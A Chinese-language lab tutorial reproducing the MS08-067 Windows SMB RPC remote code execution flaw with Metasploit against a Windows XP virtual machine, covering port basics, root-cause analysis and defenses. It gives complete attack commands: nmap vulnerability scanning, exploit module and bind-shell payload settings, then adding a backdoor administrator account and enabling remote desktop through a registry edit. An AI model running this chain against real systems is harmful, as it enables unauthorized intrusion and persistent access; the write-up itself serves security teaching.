摘要:詳細講解MS08-067遠端程式碼執行漏洞(CVE-2008-4250)及防禦過程
本文分享自華為雲社群《Windows漏洞利用之MS08-067遠端程式碼執行漏洞復現及深度防禦》,作者:eastmount 。
一.漏洞描述
MS08-067漏洞全稱是“Windows Server服務RPC請求緩衝區溢位漏洞”,攻擊者利用受害者主機預設開放的SMB服務埠445,傳送特殊RPC(Remote Procedure Call,遠端過程呼叫)請求,造成棧緩衝區記憶體錯誤,從而被利用實施遠端程式碼執行。
當使用者在受影響的系統上收到RPC請求時,該漏洞會允許遠端執行程式碼,攻擊者可以在未經身份驗證情況下利用此漏洞執行任意程式碼。同時,該漏洞可以用於蠕蟲攻擊。它影響了某些舊版本的Windows系統,包括:
- Windows 2000
- Windows XP
- Windows Server 2003
漏洞原理:
MS08-067漏洞是通過MSRPC over SMB通道呼叫Server程式中的NEtPathCanonicalize函式時觸發的。NetPathCanonicalize函式在遠端訪問其他主機時,會呼叫NetpwPathCanonicalize函式,對遠端訪問的路徑進行規範化,而在NetpwPathCanonicalize函式中發生了棧緩衝區記憶體錯誤(溢位),造成可被利用實施遠端程式碼執行(Remote Code Execution)。後續部分我將分析該漏洞的CFG流程圖及漏洞成因。
本文參考了很多大佬的文章,再次感謝他們。實驗部分是結合自己的實踐和經驗講解,如果存在錯誤或不足之處,也請批評和指正。
二.環境搭建
1.環境準備
- 受害機:Windows XP SP1映象
- 攻擊機:Kali系統
第一步,在虛擬機器中安裝Windows XP SP1系統和Kali系統。
第二步,虛擬機器兩個系統之間能夠相互通訊。
- Kali:192.168.44.136
- Win XP:192.168.44.135
第三步,開啟Windows XP系統,確定445埠開啟。如下圖所示,在Win XP的CMD中輸入“netstat -sn”檢視埠445是否開啟。
第四步,關閉Windows XP系統的防火牆。
做完這些初始準備之後,我們開始利用Kali系統進行漏洞復現。
2.埠詳解
這裡作者補充一些埠的基礎知識,更有利於我們進行Web滲透實驗。
(1) 埠作用
我們知道,一臺擁有IP地址的主機可以提供許多服務,比如Web服務、FTP服務、SMTP服務等,這些服務完全可以通過1個IP地址來實現。那麼,主機是怎麼區分不同的網路服務呢?顯然不能只靠IP地址,因為IP地址與網路服務的關係是一對多的關係,實際上是通過“IP地址+埠號”來區分不同的服務的。
需要注意的是,埠並不是一一對應的。比如你的電腦作為客戶機訪問一臺WWW伺服器時,WWW伺服器使用“80”埠與你的電腦通訊,但你的電腦則可能使用“3456”這樣的埠。如下圖所示:
(2) 埠的分類
埠共1-65535號,知名埠範圍從0到1023,這些埠號一般固定分配給一些服務,大家儘量不要使用。比如21埠分配給FTP服務,25端號分配給SMTP郵件傳輸協議服務,80埠分配給HTTP服務,135埠分配給RPC遠端過程呼叫服務等等。
動態埠的範圍從1024到65535,這些埠號一般不固定分配給某個服務,也就是說許多服務都可以使用這些埠。只要執行的程式向系統提出訪問網路的申請,那麼系統就可以從這些埠號中分配一個供該程式使用。比如1024埠就是分配給第一個向系統發出申請的程式,在關閉程式程式後,就會釋放所佔用的埠號。注意,埠衝突就不能正常工作。
同時,動態埠號也常常被病毒木馬程式所利用,如冰河預設連線埠號是7626、WAY 2.4連線埠號是8011、Netspy 3.0連線埠號是7306、YAI病毒連線埠號是1024等等。
(3) 常見的埠
(4) 黑客通過埠可以幹什麼
- 資訊收集
- 目標探測
- 服務判斷
- 系統判斷
- 角色分析
(5) 445埠
謝公子大佬在 “135、137、138、139和445埠” 文章中介紹過這些埠,它們都是與檔案共享和印表機共享有關的埠,而且在這幾個埠上經常爆發很嚴重的漏洞。比如2017年危害全球的永恆之藍,就是利用的445埠。
本篇文章的445埠就是利用SMB(Server Message Block)Windows協議族,用於檔案共享、列印共享的服務。445埠是一個譭譽參半的埠,有了它我們可以在區域網中輕鬆訪問各種共享資料夾或共享印表機,但也正是因為有了它,黑客們才有了可乘之機,他們能通過該埠偷偷共享你的硬碟,甚至會在悄無聲息中將你的硬碟格式化掉!
總之,公開伺服器開啟139和445埠是一件非常危險的事情。 如果有Guest帳號,而且沒有設定任何密碼時,就能夠被人通過因特網輕鬆地盜看檔案。如果給該帳號設定了寫入許可權,甚至可以輕鬆地篡改檔案。也就是說在對外部公開的伺服器中不應該開啟這些埠。通過因特網使用檔案伺服器就等同自殺行為,因此一定要關閉139和445埠。對於利用ADSL永久性接入因特網的客戶端機器可以說也是如此。
三.利用Metasploit復現漏洞
- 攻擊機:Kali - 192.168.44.136
- 受害機:Win XP - 192.168.44.135
第一步,利用Nmap工具掃描埠及確認該漏洞是否存在。
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open
nmap漏掃指令碼目錄為“/usr/share/nmap/script/”,如下圖所示,掃描結果為VULNERABLE,表示MS0808-067漏洞存在且可以利用。
或者使用 “nmap -sV -Pn 192.168.44.135” 檢視目標主機開放的埠。目標機開放了135、139、445、1025、5000埠,且目標機系統為Windows XP。作為黑客,一看到XP或2003系統的445埠開放,我們就能想到轟動一時的MS08-067。
nmap -sV -Pn 192.168.44.135
第二步,進入Msfconsole並利用search語句查詢漏洞利用模組。
終端內輸入msfconsole開啟metasploite命令列客戶端,使用search命令查詢ms08-067的漏洞利用模組。
msfconsole search ms08-067
第三步,進入漏洞模組,並檢視相關的使用說明。
使用use命令選擇我們要使用的利用模組。target設定為系統預設是自動定位,如果需要精確定位,可以show targets檢視所有,然後進行選擇。
use exploit/windows/smb/ms08_067_netapi
show options
show targets
第四步,設定攻擊機、受害機資訊。
# 目標機ip set RHOST 192.168.44.135 # 埠號 set RPORT 445 # 設定payload set payload generic/shell_bind_tcp # 攻擊機ip set LHOST 192.168.44.136 # 設定自動型別 set target 0 # 顯示配置資訊 show options
第五步,執行exploit反彈shell。
此時我們成功獲取了Windows XP系統的Shell,我們呼叫“ipconfig”檢視的IP地址也是目標的“192.168.44.135”。
exploit session 1 ipconfig pwd
注意:Windows XP SP1系統是中文而不是英文的,需要對ms08_067_netapi_ser2003_zh.rb處理。
- 參考:MS08-067 遠端執行程式碼 漏洞復現 - feizianquan
第六步,在目標主機上建立資料夾及檔案。
cd .. # 建立資料夾 mkdir hacker # 訪問目錄 dir cd hacker # 建立檔案並寫入內容 echo eastmount>test.txt # 檢視目標系統的基本資訊 sysinfo
顯示結果下圖所示:
第七步,對目標XP主機進行深度提權。
# 增加普通使用者 net user hacker 123456 /add # 提升管理員許可權 net localgroup administrators hacker /add
Windows DOM使用者常用命令如下:
- net user abcd 1234 /add
新建一個使用者名稱為abcd,密碼為1234的帳戶,預設為user組成員 - net user abcd /del
將使用者名稱為abcd的使用者刪除 - net user abcd /active:no
將使用者名稱為abcd的使用者禁用 - net user abcd /active:yes
啟用使用者名稱為abcd的使用者 - net user abcd
檢視使用者名稱為abcd的使用者的情況 - net localgroup administrators abcd /add
將abcd賬戶給予管理員許可權
此時被攻擊的主機新增“hacker”管理員如下圖所示:
第八步,開啟遠端連線3389埠並進行遠端操作。
# 開啟遠端連線 echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat # 檢視網路埠 netstat -an # 遠端連線 rdesktop 192.168.44.135
首先檢視埠,發現目標主機Windows XP並未開啟3389埠。
輸入命令開啟遠端連線埠。
接著輸入“rdesktop 192.168.44.135”連線遠端IP地址,並輸入我們建立好的hacker使用者名稱及密碼。
輸入建立的使用者名稱hacker和密碼123456回車,彈出提示框點選OK,稍等就會成功遠端登入XP系統。
最後,我們還需要將新建的使用者名稱hacker刪除。寫到這裡,整個實驗就講解完畢。
四.常見錯誤及漏洞原因分析
1.常見錯誤
我們在執行exploit執行漏洞利用模組時,有時會有相關錯誤。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。需要注意:
- Windows XP系統關閉防火牆
- 漏洞不穩定多嘗試幾次
有時XP系統會提示“Generic Host Process for win32 services”錯誤。這是svchost.exe錯誤,記憶體溢位造成。
最終作者解決了XP系統無法提權的問題,在呼叫“show payloads”設定攻擊載荷時,當我採用“set payload generic/shell_reverse_tcp”就會報錯,最後我將Payload修改為“set payload generic/shell_bind_tcp”。
- 反彈shell失敗:set payload generic/shell_reverse_tcp
- 反彈shell成功:set payload generic/shell_bind_tcp
如果仍然失敗,可能需要換其他XP或2003系統進行嘗試。祝好運~
2.漏洞成因
如果想了解該漏洞的原理知識,推薦以下三篇文章,後續作者也需要深入去分析各種漏洞的原始碼。
- https://www.cnblogs.com/justforfun12/p/5239941.html
- https://bbs.pediy.com/thread-251219.htm
- https://www.freebuf.com/vuls/203881.html
MS08-067漏洞是通過MSRPC over SMB通道呼叫Server服務程式中的NetPathCanonicalize函式時觸發的,而NetPathCanonicalize函式在遠端訪問其他主機時,會呼叫NetpwPathCanonicalize函式,對遠端訪問的路徑進行規範化,而在NetpwPathCanonicalize函式中發生了棧緩衝區記憶體錯誤,造成可被利用實施遠端程式碼執行。
所謂路徑規範化,就是將路徑字串中的【/】轉換為【\】,同時去除相對路徑【.\】和【..\】。如: **/*/./** => **\*\** **\*\..\** => **\**
在路徑規範化的操作中,服務程式對路徑字串的地址空間檢查存在邏輯漏洞。攻擊者通過精心設計輸入路徑,可以在函式去除【…\】字串時,把路徑字串中內容複製到路徑串之前的地址空間中(低地址),達到覆蓋函式返回地址,執行任意程式碼的目的。
這裡通過IDA Pro開啟c:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函式並雙擊。通過觀察其流程圖CFG可知,此函式並沒有直接進行輸入路徑和規範化,而是呼叫了下級函式CanonicalizePathName來進行路徑整理,將待整理的路徑字串進行規範化,然後再儲存到預先分配的輸出路徑緩衝區buffer中,最終造成緩衝區溢位漏洞。
五.總結
寫到這裡,這篇文章就介紹結束了,通過本次實驗我們復現了MS08-067遠端程式碼執行漏洞,涉及漏洞發現、驗證漏洞、利用漏洞的完整過程,並利用Metasploit工具進行shell反彈及深入理解,希望對您有所幫助。如何進行防禦呢?一方面關閉相關埠、安裝防毒軟體和補丁,另一方面在防火牆中進行流量監測,主要是針對資料包中存在的形如"\ ** \ … \ … \ *"這樣的惡意路徑名進行檢測,最為保險的方法是使用pcre正則去匹配。
本次實驗的完整命令:
# 埠查詢 nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open # 查詢漏洞利用模組 msfconsole search ms08-067 # 漏洞利用 use exploit/windows/smb/ms08_067_netapi show options show targets # 設定相關配置資訊 set RHOST 192.168.44.135 set RPORT 445 set payload generic/shell_bind_tcp set LHOST 192.168.44.136 set target 0 show options # 反彈shell exploit session 1 ipconfig pwd # 目標主機檔案操作 cd .. mkdir hacker dir cd hacker echo eastmount>test.txt sysinfo # 深度提權及遠端連線操作 net user hacker 123456 /add net localgroup administrators hacker /add echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat netstat -an rdesktop 192.168.44.135